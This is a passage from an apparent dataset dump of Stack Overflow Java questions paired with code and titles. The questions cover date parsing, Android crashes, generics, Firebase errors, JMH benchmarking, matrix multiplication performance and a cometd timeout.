asroute6 . I have accounted for this . I 've also tried to account for if ( route1 or route6 ) and ( route2 or route4 ) have the same distance . The program tells you that.However , every time four or even all six routes have the same distance , the program just tells me that two out of the four or six routes have the shortest distance . This is what I need help with .","import java.util.Scanner ; import java.lang.Math ; public class CityDistancesProgram { public static void main ( String [ ] args ) { Scanner keyboard = new Scanner ( System.in ) ; //x and y coordinates of each city int x1 , y1 , x2 , y2 , x3 , y3 , x4 , y4 ; //Variable for the distances of each route double route1 , route2 , route3 , route4 , route5 , route6 ; //Since the distance from cityA to cityB is the same as the distance from cityB to cityA , //these are all the possible combinations of distances between each city double city1city2 , city2city3 , city3city4 , city4city1 , city2city4 , city3city1 ; double city2city1 , city3city2 , city4city3 , city1city4 , city4city2 , city1city3 ; double shortestRoute ; System.out.println ( `` Enter the value of each city 's x-coordinate and y-coordinate '' ) ; System.out.println ( `` `` ) ; //First city System.out.println ( `` City 1 's x-coordinate : '' ) ; x1 = keyboard.nextInt ( ) ; System.out.println ( `` City 1 's y-coordinate : '' ) ; y1 = keyboard.nextInt ( ) ; //Second city System.out.println ( `` City 2 's x-coordinate : '' ) ; x2 = keyboard.nextInt ( ) ; System.out.println ( `` City 2 's y-coordinate : '' ) ; y2 = keyboard.nextInt ( ) ; //Third city System.out.println ( `` City 3 's x-coordinate : '' ) ; x3 = keyboard.nextInt ( ) ; System.out.println ( `` City 3 's y-coordinate : '' ) ; y3 = keyboard.nextInt ( ) ; //Fourth city System.out.println ( `` City 4 's x-coordinate : '' ) ; x4 = keyboard.nextInt ( ) ; System.out.println ( `` City 4 's y-coordinate : '' ) ; y4 = keyboard.nextInt ( ) ; System.out.println ( `` City 1 's coordinates are : ( `` + x1 + `` , `` + y1 + '' ) '' ) ; System.out.println ( `` City 2 's coordinates are : ( `` + x2 + `` , `` + y2 + '' ) '' ) ; System.out.println ( `` City 3 's coordinates are : ( `` + x3 + `` , `` + y3 + '' ) '' ) ; System.out.println ( `` City 4 's coordinates are : ( `` + x4 + `` , `` + y4 + '' ) '' ) ; //Computing all possible combinations of distance between each city city1city2 = Math.sqrt ( ( x1 - x2 ) * ( x1 - x2 ) + ( y1 - y2 ) * ( y1 - y2 ) ) ; //distance from city1 to city2 city3city1 = Math.sqrt ( ( x1 - x3 ) * ( x1 - x3 ) + ( y1 - y3 ) * ( y1 - y3 ) ) ; //distance from city1 to city3 city4city1 = Math.sqrt ( ( x1 - x4 ) * ( x1 - x4 ) + ( y1 - y4 ) * ( y1 - y4 ) ) ; //distance from city4 to city1 city2city3 = Math.sqrt ( ( x2 - x3 ) * ( x2 - x3 ) + ( y2 - y3 ) * ( y2 - y3 ) ) ; //distance from city2 to city3 city3city4 = Math.sqrt ( ( x3 - x4 ) * ( x3 - x4 ) + ( y3 - y4 ) * ( y3 - y4 ) ) ; //distance from city3 to city4 city2city4 = Math.sqrt ( ( x2 - x4 ) * ( x2 - x4 ) + ( y2 - y4 ) * ( y2 - y4 ) ) ; //distance from city2 to city4 city2city1 = city1city2 ; //distance from city2 to city1 city3city2 = city2city3 ; //distance from city3 to city2 city4city3 = city3city4 ; //distance from city4 to city3 city1city4 = city4city1 ; //distance from city1 to city4 city4city2 = city2city4 ; //distance from city4 to city2 city1city3 = city3city1 ; //distance from city1 to city3 //Computing the distance of each possible route route1 = city1city2 + city2city3 + city3city4 + city4city1 ; route2 = city1city2 + city2city4 + city4city3 + city3city1 ; route3 = city1city3 + city3city2 + city2city4 + city4city1 ; route4 = city1city3 + city3city4 + city4city2 + city2city1 ; route5 = city1city4 + city4city2 + city2city3 + city3city1 ; route6 = city1city4 + city4city3 + city3city2 + city2city1 ; System.out.println ( `` `` ) ; System.out.println ( `` The first route has a total distance of `` + route1 + `` km '' ) ; System.out.println ( `` The second route has a total distance of `` + route2 + `` km '' ) ; System.out.println ( `` The third route has a total distance of `` + route3 + `` km '' ) ; System.out.println ( `` The fourth route has a total distance of `` + route4 + `` km '' ) ; System.out.println ( `` The fifth route has a total distance of `` + route5 + `` km '' ) ; System.out.println ( `` The sixth route has a total distance of `` + route6 + `` km '' ) ; shortestRoute = Math.min ( Math.min ( route1 , Math.min ( route2 , route3 ) ) , Math.min ( route4 , Math.min ( route5 , route6 ) ) ) ; System.out.println ( `` `` ) ; if ( shortestRoute == route1 || shortestRoute == route6 ) { System.out.println ( `` route1 and route6 have the shortest distance '' ) ; } else if ( shortestRoute == route2 || shortestRoute == route4 ) { System.out.println ( `` route2 and route4 have the shortest distance '' ) ; } else if ( shortestRoute == route3 || shortestRoute == route5 ) { System.out.println ( `` route3 and route5 have the shortest distance '' ) ; } else if ( ( shortestRoute == route1 || shortestRoute == route6 ) & & ( shortestRoute == route2 || shortestRoute == route4 ) ) { System.out.println ( `` route1 , route6 , route2 and route4 have the shortest distance '' ) ; } else if ( ( shortestRoute == route1 || shortestRoute == route6 ) & & ( shortestRoute == route3 || shortestRoute == route5 ) ) { System.out.println ( `` route1 , route6 , route3 and route5 have the shortest distance '' ) ; } else if ( ( shortestRoute == route3 || shortestRoute == route5 ) & & ( shortestRoute == route2 || shortestRoute == route4 ) ) { System.out.println ( `` route3 , route5 , route2 and route4 have the shortest distance '' ) ; } else { System.out.println ( `` There is no shortest distance , they are all the same '' ) ; } } }",Travelling Salesman-based question +Java,"I have an issue in changing the volume of blackberry play book . First I am repacking my Android App to Palybook App . I need to change the volume of blackberry playbook using seekbar and in seeklistener I am setting the Audio manager volume . Here is the code : But when I run my app and change the seekbar , the volume of the system ( Blackberry playbook ) does not change.is it due to blackberry palybook security","audioManager = ( AudioManager ) getSystemService ( Context.AUDIO_SERVICE ) ; seekbar.setOnSeekBarChangeListener ( new OnSeekBarChangeListener ( ) { public void onStopTrackingTouch ( SeekBar seekBar ) { // TODO Auto-generated method stub } public void onStartTrackingTouch ( SeekBar seekBar ) { // TODO Auto-generated method stub } public void onProgressChanged ( SeekBar seekBar , int progress , boolean fromUser ) { // TODO Auto-generated method stub audioManager.setStreamVolume ( AudioManager.STREAM_MUSIC , progress , 0 ) ; }",Can not set volume on BlackBerry Playbook +Java,"I write this code , but I do n't know why it compiles . The UnaryOperator takes a specific type argument and returns the result with the same type of its argument.My question : if I put an if-statement with the return null , is n't there a compiler error ? null is n't the type of the its argument ( in my case is Doll ) ? Can a built-in functional interface ( like Consumer , UnaryOperator , Function ) return null instead of its standard return ? This is my code : Thanks a lot !","import java.util.function . * ; public class Doll { private int layer ; public Doll ( int layer ) { super ( ) ; this.layer = layer ; } public static void open ( UnaryOperator < Doll > task , Doll doll ) { while ( ( doll = task.apply ( doll ) ) ! = null ) { System.out.println ( `` X '' ) ; } } public static void main ( String [ ] args ) { open ( s - > { if ( s.layer < = 0 ) return null ; else return new Doll ( s.layer -- ) ; } , new Doll ( 5 ) ) ; } }",Null in functional interface with different type return +Java,"I 'm am fairly new to android development and ran into an issue where I am trying to create an image array that shows in a gallery and when I click on a picture , it shows the the pic at the bottom . When I run the app , it crashes . Any help i can get will be very very helpful . And thanks in advance.My questions are How do I get rid of the NullPointerException ? I 'm I decoding the pictures correctly ? Can someone show me a better way ? ThanksMy layout : MY CLASS : ERROR MESSAGE :","< RelativeLayout xmlns : android= '' http : //schemas.android.com/apk/res/android '' xmlns : tools= '' http : //schemas.android.com/tools '' android : layout_width= '' match_parent '' android : layout_height= '' match_parent '' android : paddingBottom= '' @ dimen/activity_vertical_margin '' android : paddingLeft= '' @ dimen/activity_horizontal_margin '' android : paddingRight= '' @ dimen/activity_horizontal_margin '' android : paddingTop= '' @ dimen/activity_vertical_margin '' tools : context= '' .PicturesActivity '' > < Gallery android : id= '' @ +id/gallery1 '' android : layout_width= '' fill_parent '' android : layout_height= '' wrap_content '' android : layout_alignParentTop= '' true '' android : layout_marginTop= '' 16dp '' / > < ImageView android : id= '' @ +id/image1 '' android : layout_width= '' wrap_content '' android : layout_height= '' wrap_content '' android : src= '' @ drawable/trophykiss '' / > < /RelativeLayout > public class PicturesActivity extends Activity { Bitmap [ ] myImages = new Bitmap [ ] { BitmapFactory.decodeResource ( getResources ( ) , R.drawable.champions ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.trophykiss ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.championstwo ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.trophies ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.culture ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.maintrophy ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.dive ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.naijamain ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.ethiopia ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.peru ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.funtime ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.skils ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.gabon ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.gambia ) , BitmapFactory.decodeResource ( getResources ( ) , R.drawable.guinea ) } ; private ImageView imageView ; /** Called when the activity is first created . */ @ Override public void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_pictures ) ; Gallery g = ( Gallery ) findViewById ( R.id.gallery1 ) ; g.setAdapter ( new ImageAdapter ( this ) ) ; imageView = ( ImageView ) findViewById ( R.id.image1 ) ; g.setOnItemClickListener ( new OnItemClickListener ( ) { @ Override public void onItemClick ( AdapterView < ? > parent , View v , int position , long id ) { // TODO Auto-generated method stub Toast.makeText ( getApplicationContext ( ) , `` pic : `` + position , Toast.LENGTH_SHORT ) .show ( ) ; imageView.setImageBitmap ( myImages [ position ] ) ; } } ) ; } public class ImageAdapter extends BaseAdapter { int mGalleryItemBackground ; private Context mContext ; public ImageAdapter ( Context c ) { mContext = c ; TypedArray a = obtainStyledAttributes ( R.styleable.MyGallery ) ; mGalleryItemBackground = a.getResourceId ( R.styleable.MyGallery_android_galleryItemBackground , 0 ) ; a.recycle ( ) ; } public int getCount ( ) { return myImages.length ; } public Object getItem ( int position ) { return position ; } public long getItemId ( int position ) { return position ; } public View getView ( int position , View convertView , ViewGroup parent ) { ImageView i = new ImageView ( mContext ) ; i.setImageBitmap ( myImages [ position ] ) ; i.setLayoutParams ( new Gallery.LayoutParams ( 200 , 200 ) ) ; i.setScaleType ( ImageView.ScaleType.FIT_XY ) ; i.setBackgroundResource ( mGalleryItemBackground ) ; return i ; } } } java.lang.NullPointerException : Attempt to invoke virtual method 'android.content.res.Resources android.content.Context.getResources ( )",NullPointerException on getReseources ( ) Bitmap Array +Java,Given the generic method : the following code compiles without any warning : but this one generates 'Type mismatch ' compilation error : Why ?,< T > List < T > getGenericList ( int i ) { ... } public List < String > getStringList ( boolean b ) { if ( b ) return getGenericList ( 0 ) ; else return getGenericList ( 1 ) ; } public List < String > getStringList ( boolean b ) { return ( b ) ? getGenericList ( 0 ) : getGenericList ( 1 ) ; },Invocation of java generic method +Java,"This seems like a very simple question , but there 's surprisingly little written about it on the Internet , and I 'm having a hard time implementing it correctly on my own . What is the best way to implement a modular comparison function on ASCII characters in Java , such that the comparison `` wraps around '' the end of the alphabet ? I want to use it for a `` between '' function that can partition the entire alphabet at arbitrary locations , and correctly return `` true '' when asked if ' y ' is between ' x ' and ' b'.I 've already found all the questions and answers that talk about modular arithmetic on characters , so I know how to do modular addition ( character shifting ) with code like this : However , this is based on Java 's built in modular arithmetic functions , which have no equivalent for comparison . Even if I was using plain ints , I have no way of asking Java if a < b < c mod 26 ( which should return true if a = 24 , b = 25 , and c = 1 ) .So the general question is , what 's the best way to implement modular comparison operations in Java ? If that 's too hard a problem , is there at least a way to get such comparisons to work for the ASCII alphabet ?",char shifted = ( ( ( original - ' a ' ) + 1 ) % 26 ) + ' a ' ;,Modular comparison of characters +Java,"I am trying to create date time format for optional time part currently I implemented thisAnd having outputnull2017-07-01T00:002017-07-01T00:00Now my question is , why date with 1 time fraction is not working and it is working with 2 and 3 fractions ? should it entertain 1,2 and 3 fractions ? or only 3 fractions ? Thanks in advance","import java.time . * ; import java.time.format.DateTimeFormatter ; import java.time.format.DateTimeParseException ; import java.text.ParseException ; /* Name of the class has to be `` Main '' only if the class is public . */class Ideone { public static void main ( String [ ] args ) throws java.lang.Exception { System.out.println ( Ideone.getDate ( `` 2017-07-01T00:00:00.0Z '' ) ) ; System.out.println ( Ideone.getDate ( `` 2017-07-01T00:00:00.00Z '' ) ) ; System.out.println ( Ideone.getDate ( `` 2017-07-01T00:00:00.000Z '' ) ) ; } public static LocalDateTime getDate ( String date ) { try { DateTimeFormatter formatter2 = DateTimeFormatter.ofPattern ( `` yyyy-MM-dd'T'HH : mm : ss [ .SSS ] ' Z ' '' ) ; LocalDateTime ldt = LocalDateTime.parse ( date , formatter2 ) ; return ldt ; } catch ( DateTimeParseException ex ) { return null ; } } }",Java 8 optional time part not working +Java,"Suppose I have a number 123 . I need to see if I get all digits 1 through 9 , including 0 . The number 123 has three digits : 1,2 , and 3 . Then I multiply it by 2 and get 246 ( I get digits 2 , 4 , 6 ) . Then I multiply it by 3 and I get 369 . I keep doing incremental multiplication until I get all digits . My approach is the following : I really do n't know how can I keep doing the boolean for digits that did not match in the first trail above because I will definitely get any one of the all digits in the above boolean search . How can I get that if some specific digits are present and some are not so that I can multiply the actual number to do the search for the digits that were not found in the first trial ; just like the way I defined in the beginning .",public int digitProcessSystem ( int N ) { String number = Integer.toString ( N ) ; String [ ] arr = number.split ( `` '' ) ; // List < Integer > arr2 = new ArrayList < > ( ) ; for ( Integer i = 0 ; i < arr.length ; i++ ) { try { arr2 [ i ] = Integer.parseInt ( arr [ i ] ) ; } catch ( NumberFormatException e ) { } } count =0 ; boolean contains = IntStream.of ( arr2 ) .anyMatch ( x - > x == 1|| x==2 ||x == 3|| x==4|| x == 5|| x==6 ||x == 7|| x==8||x == 9|| x==0 ) ; },How can I count if a specific set of digits are present in an array +Java,"I recently came across this piece of code in Java . It involves Function and printing fibonacci numbers and it works.The part that has me confused is return x - > f.apply ( Y ( f ) ) .apply ( x ) ; . Is n't Y ( f ) a recursive call to the method Y ? We keep calling it with the Function f as a parameter . To me , there 's no base case for this recursive call to return from . Why is there no overflow resulting from an endless recursive call ?","public class AppLambdaSubstitution { public static Function < Integer , Integer > Y ( Function < Function < Integer , Integer > , Function < Integer , Integer > > f ) { return x - > f.apply ( Y ( f ) ) .apply ( x ) ; } public static void main ( String [ ] args ) { Function < Integer , Integer > fib = Y ( func - > x - > { if ( x < 2 ) return x ; else return func.apply ( x - 1 ) + func.apply ( x - 2 ) ; } ) ; IntStream.range ( 1,11 ) . mapToObj ( Integer : :valueOf ) . map ( fib ) .forEach ( System.out : :println ) ; } }",How is this piece of Recursive lambda call in Java working +Java,"I just inherited a Java application and upon inspection of the code , I 'm seeing what IMHO is a bastardization of the Spring framework . You see , the Java team seems to have an aversion to interfaces , so we end up with things like this : There 's no Spring configuration , no bean defined , no chance that I can test the containing object in isolation . This is essentially an annotation-based factory with the overhead of Spring.Am I out-of-line , or is this like using an elephant gun to kill flies ? I just have to have a reality check since everyone else on the team thinks this is perfectly acceptable.EditIn many cases these annotated factories appear in complex processing classes that would benefit immensely from isolated testing . The team also frowns upon testing though.There 's no mystery here , I hope . If I have a concrete class , that 's not behind an interface , and there 's no corresponding Spring bean to `` setup '' the object , then it 's inarguably a glorified factory that can be implemented with 10 lines of code.Spring is not used in any other way in the system ; this is it.My goals right now : Institute a testing policy Educatethe team on the virtues of componentisolation Move these Autowired fieldsbehind interfacesI guess the final question is : is there any benefit to keeping these fields Autowired if we 're not testing or in any other way utilizing the framework . I 'd just as well new the object if the dependency is immutable .",@ Autowiredprivate SomeConcreteFinalClass _myField ;,Spring as a glorified factory ; is this acceptable ? +Java,I am designing a virtual aquarium . I have a class : Fish which I inherit to create classes of different species . The user can select the species in a combo box and click a button to put the fish in the tank . I use the following code to create the fish : '' stock '' is a LinkedList and `` s '' is the String selected in the Jcombobox . As it stands I will have to create a long switch when I add a bunch of different species . I would like the code to look like : and dispense with the switch such that all I have to do is create the class and add its name to the combo box and have it work . Is there a way to do so ? Any help is appreciated .,"switch ( s ) { case `` Keegan '' : stock.add ( new Keegan ( this , x , y ) ) ; break ; case `` GoldenBarb '' : stock.add ( new GoldenBarb ( this , x , y ) ) ; stock.add ( new s ( this , x , y ) ) ;",use variable with `` new '' when creating object +Java,"After updating the libraries into the Gradle file , I run into this error after trying to authenticate through the phone number.I searched for a solution but the same problemI have these libraries for the firebase into the GradleAnd the SHA-1 code is the same . Can someone help , please ?","-- -- -- -- - beginning of crash2020-11-04 00:33:11.574 23042-23042/com.roko.hearth E/AndroidRuntime : FATAL EXCEPTION : mainProcess : com.roko.hearth , PID : 23042java.lang.NoSuchMethodError : No virtual method verifyPhoneNumber ( Ljava/lang/String ; JLjava/util/concurrent/TimeUnit ; Ljava/util/concurrent/Executor ; Lcom/google/firebase/auth/PhoneAuthProvider $ OnVerificationStateChangedCallbacks ; Lcom/google/firebase/auth/PhoneAuthProvider $ ForceResendingToken ; ) V in class Lcom/google/firebase/auth/PhoneAuthProvider ; or its super classes ( declaration of 'com.google.firebase.auth.PhoneAuthProvider ' appears in /data/app/com.roko.hearth-BB3VSAScHPWVlEGN0MD3dw==/base.apk ! classes2.dex ) at com.firebase.ui.auth.ui.phone.PhoneNumberVerificationHandler.verifyPhoneNumber ( PhoneNumberVerificationHandler.java:32 ) at com.firebase.ui.auth.ui.phone.CheckPhoneNumberFragment.onNext ( CheckPhoneNumberFragment.java:164 ) at com.firebase.ui.auth.ui.phone.CheckPhoneNumberFragment.onClick ( CheckPhoneNumberFragment.java:140 ) at android.view.View.performClick ( View.java:7140 ) at com.google.android.material.button.MaterialButton.performClick ( MaterialButton.java:992 ) at android.view.View.performClickInternal ( View.java:7117 ) at android.view.View.access $ 3500 ( View.java:801 ) at android.view.View $ PerformClick.run ( View.java:27351 ) at android.os.Handler.handleCallback ( Handler.java:883 ) at android.os.Handler.dispatchMessage ( Handler.java:100 ) at android.os.Looper.loop ( Looper.java:214 ) at android.app.ActivityThread.main ( ActivityThread.java:7356 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.RuntimeInit $ MethodAndArgsCaller.run ( RuntimeInit.java:492 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:930 ) // Firebaseimplementation platform ( 'com.google.firebase : firebase-bom:26.0.0 ' ) //Firebase Authenticationimplementation 'com.google.firebase : firebase-auth'implementation 'com.firebaseui : firebase-ui-auth:6.2.1'//Firebase Databaseimplementation 'com.google.firebase : firebase-database'implementation 'com.firebaseui : firebase-ui-database:6.2.1'//Firebase Messagingimplementation 'com.google.firebase : firebase-messaging'//Firebase Storageimplementation 'com.google.firebase : firebase-storage'implementation 'com.google.firebase : firebase-perf'implementation 'com.google.firebase : firebase-core'/////////////////////////////////////////////////////////////////////////////","No virtual method verifyPhoneNumber , FATAL EXCEPTION : main" +Java,I 'm new to the Java optionals but I see this code written by another developer and I do n't get it : Why does this code throw the exception ? Why does it even go to the `` orElse '' branch ? Is this because of some weird execution order ? So the first optional 's value is not set before the orElse branch is evaluated ?,String t = null ; Optional.ofNullable ( `` notnull '' ) .orElse ( Optional.ofNullable ( t ) .orElseThrow ( ( ) - > new Exception ( `` MyException '' ) ) ) ;,Java Optional and orElse +Java,I was splitting a string on white spaces using the followingHow do i provide exception for single space . i.e split on space except for single space,myString.split ( `` \\s+ '' ) ;,Splitting a string on space except for single space +Java,"EXAMPLEGiven an array [ 1,2,3 ] or [ 1,2,3,4 ] , print all unique combinations for length 3.CODE OUTPUT For array [ 1,2,3 ] == > 1,2,3 For array [ 1,2,3,4 ] == > 1,2,3 || 1,2,4 || 1,3,4 || 2,3,4ProblemI have spent 3 hours tracing the code using a debugger and I am still struggling to understand how the recursive logic is working . For instance , let 's take an example when the array is [ 1,2,3 ] .PrintCombo ( a , buffer , 0 , 0 ) buffer [ 0 ] gets updated to 1We call PrintCombo ( a , buffer , 1 , 1 ) buffer [ 1 ] gets updated to 2We call PrintCombo ( a , buffer , 2 , 2 ) buffer [ 2 ] gets updated to 3We call PrintCombo ( a , buffer , 3 , 3 ) Since buffer.length == bufferIndex we call printArray.We return to the previous call This is where I get lost . How does the stack make previous calls ? I am trying hard to understand this approach thoroughly as I do not like memorizing solutions . I decided to edit my code by adding a print statement to see what is inside the buffer at every iteration . Here is what I printed for example a = [ 1,2,3 ] and buffer size is 3 .","public class PrintCombo { public void printCombo ( int [ ] a , int [ ] buffer , int startIndex , int bufferIndex ) { printArray ( buffer ) ; if ( buffer.length == bufferIndex ) { System.out.println ( ) ; System.out.println ( `` SOLUTION START '' ) ; printArray ( buffer ) ; System.out.println ( `` SOLUTION END '' ) ; System.out.println ( ) ; return ; } if ( startIndex == a.length ) { return ; } for ( int i = startIndex ; i < a.length ; i++ ) { buffer [ bufferIndex ] = a [ i ] ; printCombo ( a , buffer , i+1 , bufferIndex+1 ) ; } } public void printArray ( int [ ] buffer ) { for ( int i = 0 ; i < buffer.length ; i++ ) { System.out.print ( `` `` +buffer [ i ] ) ; } System.out.println ( ) ; } } 0 0 0 1 0 0 1 2 0 1 2 3SOLUTION START 1 2 3SOLUTION END 1 3 3 2 3 3 2 3 3 3 3 3",Print all combinations of length X using recursion +Java,"I already reported this problem in CLJ-1172 , but did n't receive any feedback from Clojure team . Maybe someone here can tell me what 's wrong . This is my code : Exception in runtime : Looks like RT and Compiler classes statically refer to each other . I 'm using org.clojure : clojure:1.5.0 dependency .",import clojure.lang.Compiler ; Compiler.load ( new StringReader ( `` ( + 5 6 ) '' ) ) ; java.lang.ExceptionInInitializerError at clojure.lang.Compiler. < clinit > ( Compiler.java:47 ) Caused by : java.lang.NullPointerException at clojure.lang.RT.baseLoader ( RT.java:2043 ) at clojure.lang.RT.load ( RT.java:417 ) at clojure.lang.RT.load ( RT.java:411 ) at clojure.lang.RT.doInit ( RT.java:447 ) at clojure.lang.RT. < clinit > ( RT.java:329 ),NPE in clojure.lang.Compiler when trying to load a resource +Java,"Everyone who tries to utilize JMH framework to create some meaningful tests will come across JMH sample tests ( http : //hg.openjdk.java.net/code-tools/jmh/file/tip/jmh-samples/src/main/java/org/openjdk/jmh/samples/ ) .As we went through them we stucked by the dead code elemination ( JMHSample_08_DeadCode.java ) .Excerpt : The measurement of measureWrong ( ) will be approximately the same as for the baseline test . Because the return value of the Math.log ( ) is never used . Therefore the HotSpot compiler will eliminate the dead code . Ok , understood but how can the compiler decide that Math.log ( ) can be eliminated.As we looked closely to the test we note that Math.log ( ) is a native method . And native calls go down to the OS and execute a corresponding lib . Right ? This lead us to the assumption that native calls could be eliminated by the compiler if their return value is not used and they do n't perform io operations.We wonder what if the lib which resides somewhere in the OS and which handles the native calls from the java worldprovides no return value but does io operations ( e.g . logging ) .Will those instructions completely be wiped out ? To proof our assumption we reconstructed the scenario with a simple JMH test and a native call.We compiled three c-native libs to perform : returning 42parameter additionempty file creationAs we called them in a JMH test ( similarly to measureWrong ( ) test ) none of them has been eliminated , not even the one which does n't perform an io operation.Due to the test result our assumption can not be confirmed . Native calls can not be optimized out , meaning that Math.log ( ) and custom native calls do not have the same basis . They are not equaly native . Maybe we made a mistake in our native lib code and at least the native call of test 1 should have been eleminated . If this is true we will share our code with you.So we searched further and found a term Intrinsics where java code will be replaced with acorresponding to the architecture very optimized code . java.lang.Math.log ( ) is having such intrinsic implementation . Are there any relations between the Natives and Intrinsics ? If the above assumption of the relationship between Natives and Intrinsics is valid will the compiler perform the following steps to eliminate the native call ? At the compile time the HotSpot checks the existence of the intrinsic implementation ( in jdk ? ) for the Math.log ( ) and replaces Math.log ( ) with that code.Afterwards the second check happens where HotSpot looks after the return value of a method . And on this outcome the HotSpot decides to eliminate the Math.log ( ) call completely .","private double x = Math.PI ; @ Benchmarkpublic void baseline ( ) { // do nothing , this is a baseline } @ Benchmarkpublic void measureWrong ( ) { // This is wrong : result is not used , and the entire computation is optimized out . Math.log ( x ) ; }",How does dead code elimination of Math.log ( ) work in JMH sample +Java,"For this challenge on PCG.SE , one is required to write a function/program that returns/outputs the first N primes.However , the characters with prime code points are not allowed in the program . Two of these characters are 5 and e. The code points of either letter contain a 5 . Because of this , \u { codepoint } wo n't work for those two letters.Using escapes , I can remove all prime characters from the code except for the e in return.I could use System.out or FileDescriptor.out but both contain the letter e.Is there any way to return or output without using an e or 5 ? For reference here is my code with characters escaped : Without characters escaped :","int [ ] b ( int b\u0029 { int c , d , f [ ] \u003d { } \u003b for ( f\u003dj\u0061v\u0061.util.Arr\u0061ys.copy\u004ff ( f , b\u0029\u003bb -- > 0\u003b\u0029 for ( d\u003d0 , c\u003d2\u003bf [ b ] < 1\u003bf [ b ] \u003dd < 1 ? c : f [ b ] , d\u003d0 , c\u002b\u002b\u0029 for ( int h : f\u0029 d\u003dh > 0 & & c\u002fh*h\u003d\u003dc ? 1 : d\u003b return f ; } int [ ] b ( int b ) { int c , d , f [ ] = { } ; for ( f=java.util.Arrays.copyOf ( f , b ) ; b -- > 0 ; ) for ( d=0 , c=2 ; f [ b ] < 1 ; f [ b ] =d < 1 ? c : f [ b ] , d=0 , c++ ) for ( int h : f ) d=h > 0 & & c/h*h==c ? 1 : d ; return f ; }",Output or return in Java without using the letter e or digit 5 +Java,"Suppose I 've got a minimal Scala WORKSPACE file like this : And then a BUILD : And an Example.scala : I can run bazel run example-bin and everything works just fine . My problem is that this recent rules_scala PR changed the way the Java binary path is set to use the following : …instead of the previous ctx.executable._java.short_path.After this change the Java binary path includes an external directory in the path , which seems to be a legacy thing ( ? ) . This means that after this change , if I run the following : It no longer works : It also breaks some scripts I have that expect non-external paths.Why is java_executable_exec_path giving me this external path ? Is there some option I can give bazel to convince it not to do this ?","workspace ( name = `` scala_example '' ) git_repository ( name = `` io_bazel_rules_scala '' , commit = `` e9e65ada59823c263352d10c30411f4739d5df25 '' , remote = `` https : //github.com/bazelbuild/rules_scala '' , ) load ( `` @ io_bazel_rules_scala//scala : scala.bzl '' , `` scala_repositories '' ) scala_repositories ( ) load ( `` @ io_bazel_rules_scala//scala : toolchains.bzl '' , `` scala_register_toolchains '' ) scala_register_toolchains ( ) load ( `` @ io_bazel_rules_scala//scala : scala.bzl '' , `` scala_binary '' ) scala_binary ( name = `` example-bin '' , srcs = glob ( [ `` *.scala '' ] ) , main_class = `` Example '' , ) object Example { def main ( args : Array [ String ] ) : Unit = println ( `` running '' ) } ctx.attr._java_runtime [ java_common.JavaRuntimeInfo ] .java_executable_exec_path bazel run -- nolegacy_external_runfiles example-bin INFO : Running command line : bazel-bin/example-bin ... /.cache/bazel/_bazel_travis/03e97e9dbbfe483081a6eca2764532e8/execroot/scala_example/bazel-out/k8-fastbuild/bin/example-bin.runfiles/scala_example/example-bin_wrapper.sh : line 4 : ... /.cache/bazel/_bazel_travis/03e97e9dbbfe483081a6eca2764532e8/execroot/scala_example/bazel-out/k8-fastbuild/bin/example-bin.runfiles/scala_example/external/local_jdk/bin/java : No such file or directoryERROR : Non-zero return code '127 ' from command : Process exited with status 127",Why is java_executable_exec_path giving me a legacy `` external '' runfiles path +Java,"I wrote two matrix classes in Java just to compare the performance of their matrix multiplications . One class ( Mat1 ) stores a double [ ] [ ] A member where row i of the matrix is A [ i ] . The other class ( Mat2 ) stores A and T where T is the transpose of A.Let 's say we have a square matrix M and we want the product of M.mult ( M ) . Call the product P.When M is a Mat1 instance the algorithm used was the straightforward one : In the case where M is a Mat2 I used : which is the same algorithm because T [ j ] [ k ] ==A [ k ] [ j ] . On 1000x1000 matrices the second algorithm takes about 1.2 seconds on my machine , while the first one takes at least 25 seconds . I was expecting the second one to be faster , but not by this much . The question is , why is it this much faster ? My only guess is that the second one makes better use of the CPU caches , since data is pulled into the caches in chunks larger than 1 word , and the second algorithm benefits from this by traversing only rows , while the first ignores the data pulled into the caches by going immediately to the row below ( which is ~1000 words in memory , because arrays are stored in row major order ) , none of the data for which is cached.I asked someone and he thought it was because of friendlier memory access patterns ( i.e . that the second version would result in fewer TLB soft faults ) . I did n't think of this at all but I can sort of see how it results in fewer TLB faults.So , which is it ? Or is there some other reason for the performance difference ?","P [ i ] [ j ] += M.A [ i ] [ k ] * M.A [ k ] [ j ] for k in range ( 0 , M.A.length ) P [ i ] [ j ] += M.A [ i ] [ k ] * M.T [ j ] [ k ]",Why is the performance of these matrix multiplications so different ? +Java,"I 'm working on a pt_BR project that provides a final user API to extends functionalities.I need to generate the javadoc of this classes ( in Java ) , but , when using javadoc.exe the static texts , not the content , of the output document is in English.So , I want to generate the documentation in pt_BR.I tried to use like this : But it did n't work.Note : Just to be clear , I 'm not intent to translate the content ( that is already in pt_BR ) but the static texts ( the navigation bar , titles , etc ) .How can I do that ?",javadoc -locale pt_BR -sourcepath scr -d c : \TEMP,"How to generate a translated javadoc with javadoc.exe ? ( not the content , but the structure )" +Java,"I am using a java cometd client . It was connected for several minutes , but after sometime it logged following error . What I should do on error 408 ? Should I disconnect , terminate , abort or just ignore , call Java GC ? java.net.ProtocolException : Unexpected response 408 HTTP Error 408 Request timeoutThe Web server ( running the Web site ) thinks that there has been too long an interval of time between the establishment of an IP connection ( socket ) between the client ( e.g . your Web browser or our CheckUpDown robot ) and the server and the receipt of any data on that socket , so the server has dropped the connection.The socket connection has actually been lost - the Web server has timed out on that particular socket connection . The request from the client must be repeated - in a timely manner.extended BayeuxClientHere is the log messages","public class EventHostClient extends BayeuxClient { private final Logger logger = LoggerFactory.getLogger ( EventHostClient.class ) ; public EventHostClient ( String url , ClientTransport transport , ClientTransport ... transports ) { super ( url , transport , transports ) ; } @ Override public void onFailure ( Throwable x , Message [ ] messages ) { 